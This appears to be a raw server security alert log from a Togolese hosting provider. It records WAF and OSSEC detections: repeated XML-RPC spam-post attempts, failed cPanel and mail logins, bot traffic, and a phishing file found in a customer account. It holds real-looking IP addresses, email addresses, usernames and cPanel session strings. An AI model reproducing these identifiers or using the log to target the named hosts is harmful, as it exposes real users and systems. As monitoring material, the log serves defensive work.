47.128.96.202 - - [10/Jun/2026:09:46:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197393&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvehicules-blindes-de-roch-kabore-cribles-de-balles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084806 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vehicules-blindes-de-roch-kabore-cribles-de-balles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.95
country_id: 1880251
description:
47.128.121.95 - - [10/Jun/2026:09:46:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262125&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-la-lutte-contre-les-maladies-non-transmissibles-renforcee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084805 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-la-lutte-contre-les-maladies-non-transmissibles-renforcee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.95


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.238
country_id: 6252001
description:
[2026-06-10 09:47:07 +0000] info [cpaneld] 216.189.152.238 NEW ecukpqcm:aa46YEZFFg5kdssI address=216.189.152.238,app=cpaneld,creator=ecukpqcm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78630e9e7673ec7f3d8c11cffa5580eb6b049c55||Title:dud0vjaqaa2rqike||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [10/Jun/2026:09:49:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015445&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbayern-munich%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084973 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bayern-munich/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3ddf3ce102a95b8d624edb0b2b9c625d002e5676||Title:3480fb64a074dnnl8||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.192.66
country_id: 2635167
description:
2026-06-10 09:50:25 dovecot_plain authenticator failed for H=(008t5ixb7pqa5jaxgg) [104.28.192.66]:18117: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [10/Jun/2026:09:50:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988761&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconseiller-special-du-chef-de-letat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085037 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conseiller-special-du-chef-de-letat/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.12
country_id: 798544
description:
Jun 10 09:50:51 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.12 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [10/Jun/2026:09:53:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923434&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-du-cortege-dalassane-ouattara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085210 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-du-cortege-dalassane-ouattara/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
47.128.96.206 - - [10/Jun/2026:09:54:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937576&pdata=https%253A%252F%252Ftdn.tg%252Fcategory%252Fa-la-une%252Fpage%252F262%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085294 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/category/a-la-une/page/262/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.179
country_id: 1880251
description:
47.128.96.179 - - [10/Jun/2026:09:55:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275013&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fperdiem-de-reportage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085300 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/perdiem-de-reportage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.179


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b6ef977e5bb6cc496a62f9f2314d227f15d2728||Title:t1kgzxsr322o0r||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [10/Jun/2026:09:57:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262934&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fstructure-specialisee-dans-le-service-a-la-personne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085435 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/structure-specialisee-dans-le-service-a-la-personne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:84ea15f65c5547076f83c8d4ba87bc3f79042923||Title:g2wodtsjpd3avd3||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.150
country_id: 1880251
description:
47.128.96.150 - - [10/Jun/2026:10:00:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987994&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fattaque-terroriste-de-kafolo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085615 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/attaque-terroriste-de-kafolo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.150


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:10:01:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854299&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fattaque-terroriste-de-kafolo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085673 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/attaque-terroriste-de-kafolo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [10/Jun/2026:10:02:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236507&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-des-casques-bleus-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085737 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-des-casques-bleus-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a8bc238a11cdf33ade889bed2ad191d4c7b6cba9||Title:vf7dr9pspb7wbv||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5488a7a3f2616c38782b532db013ba87155feb4e||Title:gd8zcic10fef2hm||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.92.153.24
country_id: 6252001
description:
180.92.153.24 - - [10/Jun/2026:10:03:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723176&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbraqueurs-interpelles-par-la-police-a-avedzi-limousine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085794 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/braqueurs-interpelles-par-la-police-a-avedzi-limousine/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.7664.1033 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.92.153.24


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a671c01e9d2f7363add4337c935c576a35d28a94||Title:vdzrqgb591v6rr||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [10/Jun/2026:10:05:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723530&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-universite-de-lome-lexamen-de-la-faseg-programme-voici-le-calendrier-du-deroulement-des-epreuves%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085910 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-universite-de-lome-lexamen-de-la-faseg-programme-voici-le-calendrier-du-deroulement-des-epreuves/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7be8fc675b48a7750ddf7b8612df355895f2e093||Title:kga03318yymzuru||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce9a53df78180fdac6491934f1d62e32b38bdef9||Title:utea7ulk7qza7fo||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [10/Jun/2026:10:06:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263186&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbayern-munich%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781085967 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bayern-munich/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.225.178.23
country_id: 3865483
domain: www.togosem.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:sky.www.togosem.com||ServerName:www.togosem.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aec365823a92cd7ab7daef2de7615d77518eb63c||Title:tc-check-https://dddscom.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 125.166.117.99
country_id: 1643084
domain: togosem.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:sky.togosem.com||ServerName:togosem.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aec365823a92cd7ab7daef2de7615d77518eb63c||Title:tc-check-https://dddscom.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a3313931239c12d599ecd0e2c4e5de1d2733cbd3||Title:c40gyh85gw8ndbn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.0.87
country_id: 6252001
description:
[2026-06-10 10:06:52 +0000] info [whostmgrd] 65.111.0.87 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a067342758e6b6b2a9552d632fff2c8da6696c69||Title:bi0gxk1p2rovd8x||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [10/Jun/2026:10:09:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870954&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcedeao-coup-detat-guinee-bissau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086168 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cedeao-coup-detat-guinee-bissau/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f75c763f6732c9278330ad88266be7db27df92d||Title:uo65e5wd212iqv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.110
country_id: 2635167
description:
[2026-06-10 10:10:29 +0000] info [cpaneld] 5.230.133.110 NEW zauwogvk:RPnFdeq61yhbkf2Q address=5.230.133.110,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.193.184.42
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:Signature-Input||MV:sig1=(\"@authority\" \"signature-agent\");created=1781086194;expires=1781086794;keyid=\"ov3hdsa8jq39dpeyfvffn-cupnz9yni8ldvr-5leibm\";alg=\"ed25519\";tag=\"web-bot-auth\"||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:630396e828efb599c1d2a658f6694bd284eeb416||Title:fmnam1hrww2zwojnh||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.13.180
country_id: 241170
description:
31.134.13.180 - - [10/Jun/2026:10:10:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12939417&pdata=https%253A%252F%252Fmesyscom.com%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086219 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.13.180


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.56
country_id: 3017382
domain: scafricaplc.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zauwogvk/public_html/.785138912854180.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [10/Jun/2026:10:09:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038818&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-universite-lome-nouvelle-licence-professionnelle-rentree-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086193 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-universite-lome-nouvelle-licence-professionnelle-rentree-2025/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.111.110.23
country_id: 6252001
description:
[2026-06-10 10:09:56 +0000] info [whostmgrd] 77.111.110.23 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 135.136.23.214
country_id: 2635167
description:
135.136.23.214 - - [10/Jun/2026:10:11:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7312283&pdata=https%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086276 HTTP/2.0" 302 0 flp-tg.com "https://flp-tg.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:135.136.23.214


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [10/Jun/2026:10:10:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118554&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fviol-dune-fillette-de-3-ans-a-zanguera%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086244 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/viol-dune-fillette-de-3-ans-a-zanguera/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1c247994c14a0f10848cb2d80beb8b07d664c0cc||Title:7c0vu3b48u3p1mnv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.228
country_id: 2363686
description:
[2026-06-10 10:10:47 +0000] info [webmaild] 102.176.253.228 - controleur.interne@ucao-uut.tg "POST /cpsess4211651941/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.169.28.223] != Current IP Address [102.176.253.228]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 200.4.99.168
country_id: 3469034
description:
200.4.99.168 - - [10/Jun/2026:10:11:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804181&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-togo-fait-un-nouveau-pas-franc-vers-lelectrification-pour-tous%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086302 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-togo-fait-un-nouveau-pas-franc-vers-lelectrification-pour-tous/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.3283.1847 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:200.4.99.168


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e890115595f3d717ec87b1598dcbaa4271d6b0ea||Title:y0eng9k4ll928hua0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [10/Jun/2026:10:13:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841030&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frecomposition-de-la-ceni%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086380 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/recomposition-de-la-ceni/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3cff272880d7364a0fb8d9fc2306229e03197d3e||Title:jajtpqtgac9had||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [10/Jun/2026:10:13:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250180&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmort-de-samuel-etoo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086431 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mort-de-samuel-etoo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb159e0399bfd7ae41391b67981651823fdf7437||Title:o89jtnr6r4oqee||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:10:14:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844309&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-de-coronavirus-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086464 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-de-coronavirus-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.241.126.166
country_id: 6252001
description:
2026-06-10 10:14:24 dovecot_plain authenticator failed for H=(webmail.mesyscom.com) [192.241.126.166]:52468: 535 Incorrect authentication data (set_id=infos@mesyscom.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
